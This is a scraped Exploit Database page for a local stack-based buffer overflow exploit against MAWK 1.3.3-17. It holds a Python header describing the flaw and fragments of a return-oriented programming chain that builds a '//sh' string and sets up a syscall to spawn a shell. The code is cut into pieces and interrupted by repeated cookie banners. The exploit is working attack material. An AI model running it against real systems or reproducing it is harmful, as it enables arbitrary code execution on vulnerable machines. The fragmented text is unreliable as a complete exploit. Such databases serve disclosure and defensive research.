EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

Cookiebot by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Show details

OK

Do not sell or share my personal information

MAWK 1.3.3-17 - Local Buffer Overflow

EDB-ID:
42357

CVE:
N/A

EDB Verified: ×

Author:
JUAN SACCO

Type:
LOCAL

Exploit: / {}

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Show details

Cookiebot by Usercentrics

EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

```
#!/usr/bin/python
# Developed using Exploit Pack - http://exploitpack.com -
<jsacco@exploitpack.com>
# Exploit Author: Juan Sacco <juan.sacco@kpn.com> at KPN Red Team -
http://www.kpn.com
# Tested on: GNU/Linux - Kali 2017.1 Release
#
# Description: MAWK ( AWK Interpreter ) 1.3.3-17 and prior is prone to a
stack-based buffer overflow
# vulnerability because the application fails to perform adequate boundary-
checks on user-supplied input.
#
# Program affected: mawk is an interpreter for the AWK Programming
Language. The AWK language is useful
# for manipulation of data files, text retrieval and processing, and for
prototyping and experimenting with algorithms.
#
# An attacker could exploit this vulnerability to execute arbitrary code in
the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
import os, subprocess
```

Cookiebot by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Show details ›

```
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x0807b744) # pop eax ; ret
ropchain += '//sh'
ropchain += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop
ebx ; pop ebp ; ret
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop
edi ; pop ebp ; ret
ropchain += pack('<I', 0x0811abe8) # @ .data + 8
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x080b4970) # xor eax, eax ; pop esi ; pop ebp ;
ret
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop
ebx ; pop ebp ; ret
ropchain += pack('<I', 0x41414141) # padding
ropchain += pack('<I', 0x41414141) # padding
```

```
 ropchain += pack('<I', 0x080dcf4b) # pop ebx ; pop esi ; pop edi ; ret
 ropchain += pack('<I', 0x0811abe0) # @ .data
 ropchain += pack('<I', 0x41414141) # padding
 ropchain += pack('<I', 0x41414141) # padding
 ropchain += pack('<I', 0x08067b43) # pop ecx ; ret
 ropchain += pack('<I', 0x0811abe8) # @ .data + 8
 ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop
 edi ; pop ebp ; ret
 ropchain += pack('<I', 0x0811abe8) # @ .data + 8
 ropchain += pack('<I', 0x0811abe0) # padding without overwrite ebx
 ropchain += pack('<I', 0x41414141) # padding
 ropchain += pack('<I', 0x41414141) # padding
 ropchain += pack('<I', 0x41414141) # padding
 ropchain += pack('<I', 0x080b4970) # xor eax, eax ; pop esi ; pop ebp ;
ret
 ropchain += pack('<I', 0x41414141) # padding
 ropchain += pack('<I', 0x41414141) # padding
 ropchain += pack('<I', 0x080e571f) # inc eax ; ret
 ropchain += pack('<I', 0x080e571f) # inc eax ; ret
 ropchain += pack('<I', 0x080e571f) # inc eax ; ret
 ropchain += pack('<I', 0x080e571f) # inc eax ; ret
 ropchain += pack('<I', 0x080e571f) # inc eax ; ret
 ropchain += pack('<I', 0x080e571f) # inc eax ; ret
 ropchain += pack('<I', 0x080e571f) # inc eax ; ret
 ropchain += pack('<I', 0x080e571f) # inc eax ; ret
```

Cookiebot by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Show details

EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES

©

OffSec Services Limited 2026. All rights reserved.